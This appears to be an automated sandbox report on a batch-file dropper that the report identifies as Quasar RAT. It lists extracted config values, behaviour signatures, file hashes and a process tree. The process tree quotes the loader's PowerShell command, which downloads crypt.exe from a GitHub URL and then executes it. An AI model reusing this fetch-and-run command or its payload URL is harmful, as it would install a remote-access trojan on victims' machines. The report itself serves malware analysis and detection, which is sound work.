Analysis

  • user interaction
    yes
  • max time kernel
    66s
  • max time network
    67s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 03:10

General

  • Target
    actualratlocalhost.bat
  • Size 276B
  • Sample260820-dpbnfabb63
  • SHA256 013cba85c0eabdd038bccf32e7aac9eb59322ee115a32a1f594fd9776466bc7d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    F3752C59B2D3B587D1C5FB8FB57F0225554558A4

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of SetThreadContext 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    PID:4368
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualratlocalhost.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/crypt.exe' -OutFile 'C:\ProgramData\crypt.exe'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4136
    • C:\ProgramData\crypt.exe
      "C:\ProgramData\crypt.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:5776

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        crypt.exe

        • Path C:\ProgramData\crypt.exe
        • Size 2.2MB
        • SHA256 6a586c3a907c55524d3652fd97615088212f657f3c84c428c24a05d36c9a6e5d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        keFC0F95E0.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\keFC0F95E0.tmp
        • Size 8KB
        • SHA256 2fdb8312a48e7f7594022c53bcc85f53964fbd7f1553bf2da74d7efade172819
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4136-10-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-1-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-6-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-7-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-8-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-9-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-0-0x00007FF85487F000-0x00007FF854880000-memory.dmp

        memory/4136-11-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-12-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-13-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-14-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-18-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-19-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-20-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-5-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4136-4-0x0000028FF4700000-0x0000028FF4722000-memory.dmp

        memory/4368-36-0x000001E7F71A0000-0x000001E7F71D4000-memory.dmp

        memory/4368-35-0x000001E7F70B0000-0x000001E7F71A4000-memory.dmp

        memory/4368-42-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4368-31-0x000001E7F6A80000-0x000001E7F6B7A000-memory.dmp

        memory/4368-41-0x000001E7F7280000-0x000001E7F72BE000-memory.dmp

        memory/4368-30-0x000001E7F6A80000-0x000001E7F6B7A000-memory.dmp

        memory/4368-29-0x000001E7F5500000-0x000001E7F5502000-memory.dmp

        memory/4368-38-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4368-33-0x00007FF85487F000-0x00007FF854880000-memory.dmp

        memory/4368-37-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4368-34-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4368-39-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/4368-40-0x00007FF8546F0000-0x00007FF855094000-memory.dmp

        memory/5776-32-0x00007FF69FB90000-0x00007FF69FBA1000-memory.dmp

        memory/5776-24-0x000001F485F30000-0x000001F485F31000-memory.dmp